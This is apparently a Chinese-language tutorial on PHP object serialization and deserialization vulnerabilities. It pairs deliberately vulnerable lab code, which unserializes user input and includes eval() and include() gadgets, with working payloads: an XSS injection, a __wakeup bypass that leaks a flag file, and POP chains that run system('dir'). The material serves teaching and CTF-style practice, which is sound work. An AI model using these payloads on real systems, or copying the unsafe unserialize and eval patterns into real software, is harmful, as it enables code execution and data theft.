一、序列化与反序列化
1、序列化:
序列化是指将数据结构或对象转换为一串字节流的过程,使其可以存储、传输或缓存时进行持久化。(PHP 中使用 serialize() 函数可以将数据结构或对象进行序列化,得到一个表示序列化后数据的字符串)
2、反序列化:
反序列化是指将序列化后的数据进行解码和还原,恢复为原始的数据结构或对象的过程。反序列化是序列化的逆过程。(PHP 中使用 unserialize() 函数对序列化后的字符串进行反序列化,将其还原为原始的数据)
1、序列化后的类型
(1)i 整型(int)
(2)d 浮点类型(double)
(3)b 布尔类型(boolean)
(4)a 数组类型(array)
(5)O 对象类型(class)
(6)N NULL 类型(null)
常见格式:O:长度:"类名":变量数:{变量类型:变量名长度:"变量名":变量值;}
2、变量长度的注意点
(1)中文汉字或中文字符长度加3
3、对于不同的访问类型:
(1)public 就是变量本身
(2)protect \00*\00变量名,指明字符长度的 s 要大写 S
(3)provite \00类名\00变量名,指明字符长度的 s 要大写 S
3、说明示例1
(1)源码:
<?php
class Seria{
public $name = "chunchun";
protected $age = 11;
private $username = "limb";
public function __construct(){
echo "序列化结束"."<br>";
}
}
$c = new Seria();
echo serialize($c);
?>
(2)执行结果
4、说明示例2
(1)源码:
<?php
class Seria{
public $name = "chunchun";
protected $age = 11;
private $username = "limb";
public function __construct(){
echo "序列化结束"."<br>";
}
}
$ser = new Seria();
$a = serialize($ser);
print_r(unserialize($a));
echo "<br>";
$c = $_GET['cc'] ?? 'O:5:"Seria":3:{s:4:"name";s:8:"chunchun";s:6:"%00*%00age";i:11;s:15:"%00Seria%00username";s:4:"limb";}';
print_r(unserialize($c));
?>
(2)payload:
http://localhost/serialize/test2/test1.php?cc=O:5:%22Seria%22:3:{s:4:%22name%22;s:8:%22chunchun%22;s:6:%22%00*%00age%22;i:11;s:15:%22%00Seria%00username%22;s:4:%22limb%22;}
(3)效果:
5、说明示例3:
(1)源码:
<?php
class Seria{
public $name = "chunchun";
protected $age = 11;
private $username = "limb";
public function __construct(){
echo "序列化结束"."<br>";
}
}
$b = new Seria();
$cc = serialize($b);
print_r(unserialize($cc));
echo "<br>";
$a = $_POST['cc'] ?? 'O:5:"Seria":3:{s:4:"name";s:8:"chunchun";S:6:"\00*\00age";i:11;S:15:"\00Seria\00username";s:4:"limb";}';
print_r(unserialize($a));
?>
(2)payload:
(3)效果:
6、魔术方法:
__construct() 当一个对象创建时被调用
__destruct() 当一个对象销毁前被调用
__sleep() 在对象被序列化前被调用
__wakeup() 将在反序列化之后立即被调用
__toString() 当一个对象被当做字符串使用时被调用
__get() 访问一个不存在或不可访问的属性时调用
__set() 当一个不存在或不可访问的属性赋值时调用
__invoke() 调用函数的方式调用一个对象时的回应方法
__call() 使用不存在或无法访问的方法时调用
__callStatic() 使用不存在或无法访问的静态方法时调用
__isset() 对不存在或不可访问的属性使用 isset() 或 empty() 函数时调用
__unset() 对不可访问或不存的属性使用 unset() 函数时调用
__invoke() 当你像使用函数一样使用一个对象时调用
__clone() 当你使用 clone 函数复制一个对象时调用
__autoload() 当你尝试加载未定义的类时调用
二、反序列化漏洞:
1、漏洞简述:
反序列化的数据本质上来说是没有危害的,用户可控数据进行反序列化是存在危害的,反序列化的危害, 关键还是在于可控或不可控。
三、反序列化漏洞的利用
1、XSS:以上述实例代码 2 为例,若序列化的值可控:
(1)payload:
http://localhost/serialize/test2/test1.php?cc=O:5:%22Seria%22:3:{s:4:%22name%22;s:25:%22%3Cscript%3Ealert(1)%3C/script%3E%22;s:6:%22%00*%00age%22;i:11;s:15:%22%00Seria%00username%22;s:4:%22limb%22;}
(2)显示效果:
(3)POST 的效果也是一样的:
2、 绕过 __wakeup:
(1)示例源码:
<?php
class Getflag{
protected $file='test3.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false){
show_source(dirname (__FILE__).'/'.$this->file);
}else{
echo 'Wrong filename.';
}
}else{
echo "kong";
}
}
function __wakeup(){
$this->file = 'test3.php';
}
}
$f = $_GET['file'];
echo $f."<br>";
$ff = base64_decode($f);
echo $ff."<br>";
$c = unserialize($ff)."<br>";
?>
(2)flag.php
<?php
$flag = "chunchun";
?>
(3)payload 获取
第一步:编写 exp获取序列化后的字符串
<?php
class Getflag{
protected $file='flag.php';
function __destruct() {
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
}else{
echo 'Wrong filename.';
}
}
}
$data= new Getflag();
$ser= serialize($data);
echo $ser;
echo "</br>";
echo base64_encode($ser)."<br>";
echo base64_encode('O:7:"Getflag":2:{S:7:"\00*\00file";s:8:"flag.php";}')."<br>";
?>
O:7:"Getflag":1:{s:7:"*file";s:8:"flag.php";}
因为有 protected 属性,改写为:
O:7:"Getflag":1:{S:7:"\00*\00file";s:8:"flag.php";}
第二步:增加变量个数,以此来绕过 __wakeup ,然后进行 base64 编码:
增加变量个数后改为:
O:7:"Getflag":2:{S:7:"\00*\00file";s:8:"flag.php";}
base64 编码后为:
Tzo3OiJHZXRmbGFnIjoyOntTOjc6IlwwMCpcMDBmaWxlIjtzOjg6ImZsYWcucGhwIjt9
第三步:进行访问 flag.php 的尝试
注意:如果 php 高于 7.0 则没有该漏洞。
3、 pop 链构造1
(1)示例源码:
<?php
header('Content-Type: text/html; charset=utf-8');
class First{
private $t1;
function __construct(){
$this->t1 = new test2();
}
function __destruct(){
$this->t1->excute();
}
}
class Second{
public function excute(){
echo "走错了";
}
}
class Third{
public $t3;
public function excute(){
eval($this->t3);
}
}
if(isset($_GET['cc'])){
$c = $_GET['cc'];
$d = unserialize($c);
print_r($d);
echo "<br>";
}else{
echo "无参数";
}
?>
(2)获取 payload :
<?php
header('Content-Type: text/html; charset=utf-8');
class First{
private $t1;
function __construct(){
$this->t1 = new Third();
}
}
class Third{
public $t3 = "system('dir');";
public function excute(){
eval($this->t3);
}
}
$exp = new First();
echo serialize($exp);
?>
(3)输入 payload:
字符串的序列化值:
O:5:"First":1:{s:9:"Firstt1";O:5:"Third":1:{s:2:"t3";s:14:"system('dir');";}}
加入 url 编码:
O:5:"First":1:{s:9:"%00First%00t1";O:5:"Third":1:{s:2:"t3";s:14:"system('dir');";}}
?cc=O:5:"First":1:{s:9:"%00First%00t1";O:5:"Third":1:{s:2:"t3";s:14:"system('dir');";}}
4、pop 链构造2
(1)源代码:
<?php
class Modifier{ // 1、需要满足 $var = "flag.php",然后要调用 __invoke() 函数,需要把 Modifier 当函数执行
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file = 'index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){ // 3、要访问 Test 中不存在的属性,所以要触发 __toString() 函数,然后满足 $str = new Test(),然后把 Show 当作字符串来使用
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)){
echo "hacker";
$this->source = "index.php";
}
}// 4、preg_match() 是对字符串进行处理,所以要使得 $source 等于 new Show(),然后触发 __toString
}
class Test{ // 2、因为 return $fun() 是吧 $fun 变量当作函数执行,所以要满足 $p = new Modifier(),然后要调用 __get() 函数,所以要访问 Test 中没有的属性
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$fun = $this->p;
return $fun();
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}else{
$a = new Show();
highlight_file(__FILE__);
}
?>
(2)获取 payload:
<?php
class Modifier{
protected $var = "flag.php";
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct(){
// $this->source = new Show();
$this->str = new Test();
}
}
class Test{
public $p;
}
$exp = new Show();
$exp->source = new Show();
$exp->source->str->p = new Modifier();
echo serialize($exp);
?>
(3)输入 payload:
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"*var";s:8:"flag.php";}}}s:3:"str";O:4:"Test":1:{s:1:"p";N;}}
因为存在 protected 属性,所以更改为:
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:8:"flag.php";}}}s:3:"str";O:4:"Test":1:{s:1:"p";N;}}
?pop=O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:8:"flag.php";}}}s:3:"str";O:4:"Test":1:{s:1:"p";N;}}